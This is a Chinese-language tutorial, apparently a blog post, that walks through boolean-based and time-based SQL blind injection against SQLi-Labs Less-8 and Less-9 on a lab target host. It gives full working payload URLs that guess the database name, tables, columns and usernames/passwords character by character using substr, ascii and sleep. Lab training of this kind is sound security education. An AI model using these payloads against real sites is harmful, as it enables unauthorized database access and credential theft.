网络安全——SQL盲注

一、SQL盲注概述

在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称为盲注

攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间的不同),将盲注分成两种:

基于布尔的盲注、

页面的返回结果只有两种:正确或者错误,通过构造SQL判断语句,查看页面的返回结果(True 或者Flase)来判断哪些SQL判断条件成立,通过这种方式获取数据库的数据

基于时间的盲注

也称延时注入,使用一些延时函数,例sleep、benchmark等,判断SQL条件是否成立,然后获得数据库的里的信息

二、SQL盲注常用的函数

网络安全——SQL盲注_第1张图片

 网络安全——SQL盲注_第2张图片

 网络安全——SQL盲注_第3张图片

 网络安全——SQL盲注_第4张图片

 网络安全——SQL盲注_第5张图片

 网络安全——SQL盲注_第6张图片

 网络安全——SQL盲注_第7张图片

 网络安全——SQL盲注_第8张图片

 网络安全——SQL盲注_第9张图片


三、SQL盲注实例

基于布尔的盲注

1.访问SQLi-Labs网站

访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-8。访问的URL为:

http://[靶机IP]/sqli-labs/Less-8/

(注意大小写)

网络安全——SQL盲注_第10张图片

登录后,根据网页提示,给定一个?id=1的参数,即:

http://[靶机IP]/sqli-labs/Less-8/?id=1

此时页面显示信息为You are in…,显示状态为True。

网络安全——SQL盲注_第11张图片

如果给定一个?id=-1的参数,即:

http://[靶机IP]/sqli-labs/Less-8/?id=-1

此时页面显示信息为空,显示状态为False。

网络安全——SQL盲注_第12张图片

 可以继续给定不同的id参数进行尝试,发现页面的显示结果只有两种:True或False。由此可以判断,这是一种典型的布尔盲注场景!

2.寻找注入点

分别使用以下3条payload寻找注入点及判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-8/?id=1'

运行后页面显示为False!

网络安全——SQL盲注_第13张图片

http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='1

运行后页面显示为True!

网络安全——SQL盲注_第14张图片

http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='2

运行后页面显示为False!

网络安全——SQL盲注_第15张图片

由上述结果可以判断,网站存在字符型注入点。

3.盲猜网站当前所在数据库的库名长度

假设当前所在数据库的库名长度为N,尝试使用判断语句length(database())>M,不断变化M的值去猜测,如果M>N,页面应该显示为False;如果M

例如执行如下payload:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())>7--+

显示结果为True,说明网站当前所在数据库的库名长度大于7个字符!

网络安全——SQL盲注_第16张图片

http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())<8--+

显示结果为False,说明网站当前所在数据库的库名长度为8个字符!

网络安全——SQL盲注_第17张图片

4.盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 substr(库名字符串,1,1)=‘a’ 以及 ascii(substr(库名字符串,1,1))=97 返回的结果均应为True(小写字母a的ASCII码为97);

假设库名字符串的第2个字母为b,那么条件判断语句 substr(库名字符串,2,1))=‘b’ 以及 ascii(substr(库名字符串,2,1))=98 返回的结果均应为True(小写字母b的ASCII码为98);

以此类推。

猜测库名的第1个字母:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

库名的第1个字母为s。

网络安全——SQL盲注_第18张图片

网络安全——SQL盲注_第19张图片

猜测库名的第2个字母:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),2,1)='e'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

库名的第2个字母为e。

网络安全——SQL盲注_第20张图片

以此类推,最终得到的字符串结果为security。

5.盲猜数据库security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

第1张表的表名的第1个字符为e。

网络安全——SQL盲注_第21张图片

猜测第1张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+

第1张表的表名的第2个字符为m

 网络安全——SQL盲注_第22张图片

以此类推,得到security库中的第1张表的名字为emails。

(2)猜测第2张表的表名

猜测第2张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+

第2张表的表名的第1个字符为r。

网络安全——SQL盲注_第23张图片

猜测第2张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+

第2张表的表名的第2个字符为e。

网络安全——SQL盲注_第24张图片

以此类推,得到security库中的第2张表的名字为referers。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息。

6.盲猜users表的全部字段名

(1)猜测第1个字段名

猜测第1个字段名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+

第1个字段名的第1个字符为i。

网络安全——SQL盲注_第25张图片

猜测第1个字段名的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100--+

第1个字段名的第2个字符为d。

网络安全——SQL盲注_第26张图片

以此类推,得到users表中的第1个字段名为id。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中所有字段名:id、username和password。

7.盲猜users表username和password字段的全部值

(1)猜测第1组数据

猜测第1组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+

第1组数据的第1个字符为D。

网络安全——SQL盲注_第27张图片

 

猜测第1组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117--+

第1组数据的第2个字符为u。

网络安全——SQL盲注_第28张图片

 

以此类推,得到第1组数据为“Dump,Dump”。

注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=','--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44--+

网络安全——SQL盲注_第29张图片

 

(2)猜测第2组数据

猜测第2组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65--+

第2组数据的第1个字符为A。

网络安全——SQL盲注_第30张图片

 

猜测第2组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110--+

第2组数据的第2个字符为n。

网络安全——SQL盲注_第31张图片

以此类推,得到第2组数据为“Angelina,I-kill-you”。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。


基于时间的盲注

原理:

(1)关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数sleep()、benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

(2)一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCII码。
if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2,expr1为false则返回expr3。
sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。
benchmark(count,expr):让expr执行count次,执行成功后返回0。

步骤:

1.访问SQLi-Labs网站

访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-9。访问的URL为:

http://[靶机IP]/sqli-labs/Less-9/

(注意大小写)

网络安全——SQL盲注_第32张图片

 

登录后,根据网页提示,给定一个?id=1的参数,即:

http://[靶机IP]/sqli-labs/Less-9/?id=1

此时页面显示信息为You are in…。

网络安全——SQL盲注_第33张图片

 

如果给定一个?id=-1的参数,即:

http://[靶机IP]/sqli-labs/Less-9/?id=-1

此时页面显示信息仍然为You are in…。

网络安全——SQL盲注_第34张图片

 可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种:You are in…。由此可以判断,这是一种典型的时间(延时)盲注场景!

2.寻找注入点

使用sleep()函数判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-9/?id=1 and sleep(5)--+

sleep(5)未执行,页面无明显延迟。

网络安全——SQL盲注_第35张图片

 

http://[靶机IP]/sqli-labs/Less-9/?id=1' and sleep(5)--+

sleep(5)成功执行,页面有明显延迟!

网络安全——SQL盲注_第36张图片

 由上述结果可以判断,网站存在字符型注入点。

3.盲猜网站当前所在数据库的库名长度

假设当前所在数据库的库名长度为N,尝试使用判断语句if((length(database())>M),sleep(5),1),不断变化M的值去猜测,如果M>N,此时sleep(5)会成功执行,页面应该会有明显延迟。

例如执行如下payload:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(length(database())>7,sleep(5),1)--+

页面明显延迟,说明网站当前所在数据库的库名长度大于7个字符。

网络安全——SQL盲注_第37张图片

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(length(database())<8,sleep(5),1)--+

页面有明显延迟,说明网站当前所在数据库的库名长度为8个字符!

网络安全——SQL盲注_第38张图片

 

4.盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 if(substr(库名字符串,1,1)=‘a’,sleep(5),1) 以及 if(ascii(substr(库名字符串,1,1))=97,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

假设库名字符串的第2个字母为b,那么条件判断语句 if(substr(库名字符串,2,1)=‘b’,sleep(5),1) 以及 if(ascii(substr(库名字符串,2,1))=98,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

以此类推。

猜测库名的第1个字母:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

页面有明显延迟,证明库名的第1个字母为s,猜测正确

网络安全——SQL盲注_第39张图片

 

猜测库名的第2个字母:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明库名的第2个字母为e,猜测正确。

网络安全——SQL盲注_第40张图片

 

以此类推,最终得到的字符串结果为security。

5.盲猜数据库security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第1个字符为e,猜测正确。

网络安全——SQL盲注_第41张图片

 

猜测第1张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第2个字符为m,猜测正确。

网络安全——SQL盲注_第42张图片

 

以此类推,得到security库中的第1张表的名字为emails。

(2)猜测第2张表的表名

猜测第2张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第1个字符为r,猜测正确。

网络安全——SQL盲注_第43张图片

 

猜测第2张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第2个字符为e,猜测正确。

网络安全——SQL盲注_第44张图片

 

以此类推,得到security库中的第2张表的名字为referers。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息。

6.盲猜users表的全部字段名

(1)猜测第1个字段名

猜测第1个字段名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第1个字符为i,猜测正确。

网络安全——SQL盲注_第45张图片

 

猜测第1个字段名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100,sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第2个字符为d,猜测正确。

网络安全——SQL盲注_第46张图片

 

以此类推,得到users表中的第1个字段名为id。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中所有字段名:id、username和password。

7.盲猜users表username和password字段的全部值

(1)猜测第1组数据

猜测第1组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第1个字符为D,猜测正确。

网络安全——SQL盲注_第47张图片

 

猜测第1组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第2个字符为u,猜测正确。

网络安全——SQL盲注_第48张图片

以此类推,得到第1组数据为“Dump,Dump”。

注意:字符串中的逗号(,)也是需要进行猜测比对的!

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。
实验至此结束。


这篇文章就写到这里了,我们是知道答案的情况下去操作,如果不知道答案,每次判断库名、表名等应该先从判断字符串的长度开始比较好!

盲注耗费的时间和精力多

你可能感兴趣的:(网络安全,sql,web安全,数据库)